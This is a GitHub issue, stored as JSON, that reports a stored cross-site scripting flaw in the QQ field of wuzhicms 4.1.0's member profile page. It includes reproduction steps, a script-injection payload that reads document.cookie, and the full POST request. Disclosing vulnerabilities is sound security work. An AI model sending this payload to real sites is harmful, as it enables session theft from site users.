{"action":"opened","issue":{"url":"https://api.github.com/repos/wuzhicms/wuzhicms/issues/139","repository_url":"https://api.github.com/repos/wuzhicms/wuzhicms","labels_url":"https://api.github.com/repos/wuzhicms/wuzhicms/issues/139/labels{/name}","comments_url":"https://api.github.com/repos/wuzhicms/wuzhicms/issues/139/comments","events_url":"https://api.github.com/repos/wuzhicms/wuzhicms/issues/139/events","html_url":"https://github.com/wuzhicms/wuzhicms/issues/139","id":327162274,"number":139,"title":"There is a  a Stored-XSS Vulnerabilities in  Account Settings  -> Member Centre ->Chinese information-> Ordinary member","user":{"login":"myzing00","id":15991940,"avatar_url":"https://avatars3.githubusercontent.com/u/15991940?v=4","gravatar_id":"","url":"https://api.github.com/users/myzing00","html_url":"https://github.com/myzing00","followers_url":"https://api.github.com/users/myzing00/followers","following_url":"https://api.github.com/users/myzing00/following{/other_user}","gists_url":"https://api.github.com/users/myzing00/gists{/gist_id}","starred_url":"https://api.github.com/users/myzing00/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/myzing00/subscriptions","organizations_url":"https://api.github.com/users/myzing00/orgs","repos_url":"https://api.github.com/users/myzing00/repos","events_url":"https://api.github.com/users/myzing00/events{/privacy}","received_events_url":"https://api.github.com/users/myzing00/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-05-29T03:54:23Z","updated_at":"2018-05-29T03:54:23Z","closed_at":null,"author_association":"NONE","body":"Version: wuzhicms4.1.0\r\n\r\nSteps to Reproduce\r\n\r\n1、register a account and Login the backstage\r\nhttp://www.demo.com/index.php?m=member&v=login&forward=\r\n\r\n\r\n2、Go to Account Settings  -> Member Centre ->Chinese information-> Ordinary member\r\nFill in the QQ number\r\n![image](https://user-images.githubusercontent.com/15991940/40637185-ef7a11c0-6335-11e8-8681-ae9713f091ec.png)\r\n\r\n\r\n 3. add the following payload to QQ Forms and click “submit”\r\n12345678\"><script>alert(document.cookie)</script>\r\n![image](https://user-images.githubusercontent.com/15991940/40637197-027a2a6c-6336-11e8-95db-5419d2debda0.png)\r\n\r\nPOST request data：\r\n_```\r\nPOST /index.php?m=member&f=index&v=profile&set_iframe=1 HTTP/1.1\r\nHost: www.demo.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nReferer: http://www.demo.com/index.php?m=member&f=index&v=profile&set_iframe=1\r\nCookie: PHPSESSID=v8nkhmh6temnfk1jirivr23ke1; fHl_uid=qUqEY7jyDvKc973ym02avg%3D%3D; fHl_username=Zfe8nonJAmOK66Gucomwqg%3D%3D; fHl_wz_name=Ii4bQlsksKKRfZklFYN9gg%3D%3D; fHl_siteid=o59gAjO%2BhQPT05jg0afPCQ%3D%3D; fHl_qkey=jhyPCFK4SL0ruIZuqOhqgHx%2B1loN5WaW; fHl_truename=test12; fHl_auth=x0e0qbvHyPVCXcNr6x1cjR1pce3wP9r%2BV5HxrY%2Bfk5TdlHxeJPhsu%2ByU9y6GLVW8sRGPkwS5xZHFK0zLNCrjJoIyi3OCKGXjWe%2FHb8669tMjrIqr8wJSSw%3D%3D; fHl__uid=keXJye0FZhJEXy7Dq%2Fxf5Q%3D%3D; fHl__username=E%2FGhNEyEZRWmTN4X1%2BxRnw%3D%3D; fHl__groupid=wjqHhWpCfYTv8ORXF2KTNA%3D%3D; fHl_modelid=10\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 109\r\n\r\nform%5Bqq_10%5D=12345678%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=%E6%8F%90%E4%BA%A4\r\n```_\r\n![image](https://user-images.githubusercontent.com/15991940/40637248-4727d57e-6336-11e8-9510-dc2849fe66eb.png)\r\n\r\n4.Click Account Settings in Account Management to view\r\n![image](https://user-images.githubusercontent.com/15991940/40637277-7327137e-6336-11e8-9ba0-499e9450e0d1.png)\r\n\r\nStored-XSS triggered ...\r\n"}}
{"actor":{"display_login":"myzing00"}}